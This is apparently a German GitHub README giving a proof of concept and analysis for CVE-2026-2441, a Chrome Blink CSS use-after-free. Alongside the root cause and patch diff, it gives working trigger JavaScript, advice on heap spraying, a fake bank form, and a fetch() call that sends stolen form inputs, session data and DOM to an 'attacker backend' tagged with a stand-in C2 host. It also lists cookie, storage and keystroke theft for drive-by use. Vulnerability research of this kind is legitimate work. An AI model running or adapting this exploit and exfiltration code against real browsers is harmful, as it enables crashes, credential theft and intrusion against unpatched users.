Detaillierter Proof-of-Concept und technische Analyse für CVE-2026-2441, eine Chrome CSS Use-After-Free-Sicherheitslücke, die über präparierte HTML-Seiten Remote-Code-Ausführung im sandboxed Renderer ermöglicht.
CVSS 8.8 (Hoch) | Aktiv in freier Wildbahn ausgenutzt | Renderer-RCE (Sandboxed)
Eine Use-After-Free-Sicherheitslücke in Google Chromes Blink-CSS-Engine, die es einem entfernten Angreifer ermöglicht, über eine präparierte HTML-Seite beliebigen Code innerhalb der Browser-Sandbox auszuführen.
| Feld | Wert |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (Hoch) |
| Typ | Use-After-Free (CWE-416) |
| Komponente | Blink CSS — CSSFontFeatureValuesMap |
| Quelldatei | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Fix-Commit | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Melder | Shaheen Fazim (2026-02-11) |
| Patch-Datum | 2026-02-13 |
| In freier Wildbahn | Ja — Google hat aktive Ausnutzung bestätigt |
| Plattform | Verwundbar | Behebung |
|---|---|---|
| Windows / macOS (Stabil) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stabil) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Erweitertes Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium-basierte Browser (Edge, Brave, Opera, Vivaldi) | Herstellerhinweis prüfen | Unterschiedlich |
FontFeatureValuesMapIterationSource speicherte einen rohen Zeiger (const FontFeatureAliases* aliases_) auf die interne FontFeatureAliases-HashMap. Wenn die Map während der Iteration durch set() oder delete() mutiert wird, wird die HashMap neu gehasht – neuer Speicher wird allokiert und der alte freigegeben. Der rohe Zeiger wird hängend, und der nächste Aufruf von FetchNextItem() liest aus freigegebenem Speicher.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
Der Fix ersetzt den rohen Zeiger durch eine Tiefenkopie der HashMap. Selbst wenn die ursprüngliche Map neu hasht, arbeitet der Iterator auf seiner eigenen Kopie, wodurch der hängende Zeiger verhindert wird.
poc.html in einer verwundbaren Chrome-Version (< 145.0.7632.75)| Chrome-Version | Erwartetes Verhalten |
|---|---|
| < 145.0.7632.75 (ungepatcht) | Renderer-Absturz — STATUS_ACCESS_VIOLATION (Windows) oder SIGSEGV (Linux/macOS). Chrome zeigt Fehler „Seite kann nicht geöffnet werden“. |
| >= 145.0.7632.75 (gepatcht) | Kein Absturz — PoC läuft vollständig durch, alle Einträge werden normal gelesen. |
Der PoC ist so organisiert, dass die Ausnutzungskette in einer klaren und reproduzierbaren Reihenfolge gezeigt wird. Der erste Teil erstellt das verwundbare Blink/CSS-Objekt, der zweite Teil löst die Iterator-Invalidierung aus, und der letzte Teil simuliert die Post-Exploitation-Effekte in einer sicheren akademischen Umgebung.
Wichtiger Hinweis: Der UAF-Auslöser wird über echte, vom Browser bereitgestellte CSS/JavaScript-APIs implementiert. Der Heap-Leak und das Exfiltrations-Dashboard sind absichtlich kontrolliert/simuliert, um die Veröffentlichung eines einsatzbereiten Chromium-Exploits zu vermeiden.
Das Payload definiert zunächst eine CSS-@font-feature-values-Regel:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
Diese Regel veranlasst Blink, eine interne CSSFontFeatureValuesMap zu erstellen. In der verwundbaren Implementierung ist die Iteration über diese Map unsicher, da der Iterator einen rohen Zeiger auf den internen FontFeatureAliases-Speicher behält.
Das JavaScript-Payload ruft später die Map aus dem Stylesheet ab:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
An diesem Punkt hat die vom Angreifer kontrollierte Seite ein JavaScript-Handle zu einem Browserobjekt, dessen interne C++-Implementierung anfällig für Iterator-Invalidierung ist.
Der Auslöser wird nicht sofort ausgeführt. Der PoC wartet 800 ms, bevor die verwundbare Sequenz läuft:
setTimeout(triggerUAF, 800);
Diese Verzögerung dient der Demo-Stabilität. Sie ermöglicht, dass die Seite und das gefälschte Bankverifikationsformular gerendert werden, bevor der Speicherkorruptionsauslöser läuft. In einem echten Drive-by-Szenario könnte derselbe Auslöser auch automatisch gestartet werden, sobald die bösartige Seite geladen wird.
Die Kern-UAF-Primitive ist die folgende Schleife:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
Die Sicherheitslücke wird durch die Reihenfolge der Operationen ausgelöst:
1. map.entries() erstellt einen Iterator über CSSFontFeatureValuesMap.
2. In der verwundbaren Blink-Implementierung referenziert der Iterator den internen Map-Speicher.
3. it.next() liest den nächsten Eintrag über diesen Iterator.
4. map.delete(key) mutiert dieselbe Map, während der Iterator noch aktiv ist.
5. map.set(...) fügt einen neuen Eintrag ein und kann die zugrundeliegende HashMap zwingen, neu zu hashen.
6. Durch das Neu-Hashen kann der alte Speicher freigegeben oder verschoben werden.
7. Der Iterator kann immer noch auf den alten Speicher verweisen.
8. Der nächste Iterator-Zugriff kann daher zu einem Use-After-Free werden.
Die ursprüngliche aggressive Strategie verwendete eine größere Heap-Spray-ähnliche Schleife, die beispielsweise nach jeder Löschung hunderte von Elementen, wie 512 neue Einträge, einfügte. Das erzeugt einen stärkeren Heap-Druck und macht eine Neubelegung/Wiederverwendung wahrscheinlicher.
Für die Live-Demo wurde dies auf nur 4 Mutationsschritte reduziert:
while (step < 4) {
// Iterator-Lesen + Löschen + Setzen
}
Der Grund ist praktischer und pädagogischer Natur: Das 512-Elemente-Spray ließ den Renderer oft sofort abstürzen. Ein Absturz ist nützlich, um die Verfügbarkeitsauswirkung zu demonstrieren, verhindert jedoch, dass der Rest der Demonstration den simulierten Datendiebstahl und das Angreifer-Dashboard zeigt. Die reduzierte Version demonstriert immer noch die verwundbare Iterator-Invalidierungslogik, während der Browser stabil genug für die Live-Präsentation bleibt.
Ein echter einsatzbereiter UAF-Exploit würde normalerweise eine Speicheroffenlegungsprimitive erfordern, um Heap- oder V8-Zeiger preiszugeben und ASLR zu umgehen. Die Demo implementiert kein echtes beliebiges Speicherlesen. Stattdessen generiert sie eine Heap-ähnliche Adresse aus einem vordefinierten statischen Bereich:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
Dieser Wert ist ein simulierter Heap-Leak:
0x55a000000000 ist der feste heap-ähnliche Startbereich, der von der Demo verwendet wird.Math.random() * 0x200000 fügt einen kleinen zufälligen Offset hinzu.base & ~0xfff richtet die Adresse an einer Seitengrenze aus.Der Zweck ist zu zeigen, wie ein ASLR-Bypass-Leak auf dem Angreifer-Dashboard aussehen würde, ohne einen tatsächlichen Speicheroffenlegungs-Exploit zu implementieren.
Nach dem UAF-Auslöser und dem simulierten Heap-Leak erstellt der PoC ein Payload, das die gesammelten Formulareingaben, die im Browser ansässigen Sitzungsdaten, das DOM-Snippet, den UAF-Status und den simulierten Heap-Leak enthält. Das Payload wird an das lokale Angreifer-Backend gesendet:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
Das lokale Backend empfängt die Daten auf POST /collect, speichert sie im Speicher und leitet sie an das Angreifer-Dashboard über Server-Sent Events (GET /events) weiter. Dies modelliert die Command-and-Control-/Exfiltrationsphase eines echten Angriffs, während es lokal und kontrolliert bleibt.
document.cookie, localStorage, sessionStorage, Formulareingabewerte lesenfetch() / WebSocket / sendBeacon() exfiltrierenaddEventListener('keydown') erfassenWenn mit einer separaten Sandbox-Escape-Sicherheitslücke kombiniert:
Renderer-RCE (CVE-2026-2441)
→ Mojo-IPC-Exploit → Browserprozess-RCE
→ Kernel-Exploit → Vollständige Systemkompromittierung
→ Malware-/Ransomware-/Spyware-Installation
→ Dateisystemzugriff, laterale Bewegung, Persistenz
Reale Exploit-Ketten mit ähnlichen Browser-UAFs:
Diese Schwachstelle ist über einen Drive-by-Download ausnutzbar – es ist keine Benutzerinteraktion über den Besuch einer bösartigen Seite hinaus erforderlich:
chrome://flags/#site-isolation-trial-opt-out)| Datum | Ereignis |
|---|---|
| 2026-02-11 | Schwachstelle von Shaheen Fazim gemeldet |
| 2026-02-13 | Google veröffentlicht Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google bestätigt Ausnutzung in freier Wildbahn |
| 2026-02-16 | Vivaldi und Opera liefern Patches aus |
Wenn Sie diese Forschung nützlich finden, spendieren Sie mir doch einen Kaffee:
Dieser Proof of Concept wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt. Die Verwendung dieses PoC gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Verantwortung für Missbrauch.
MIT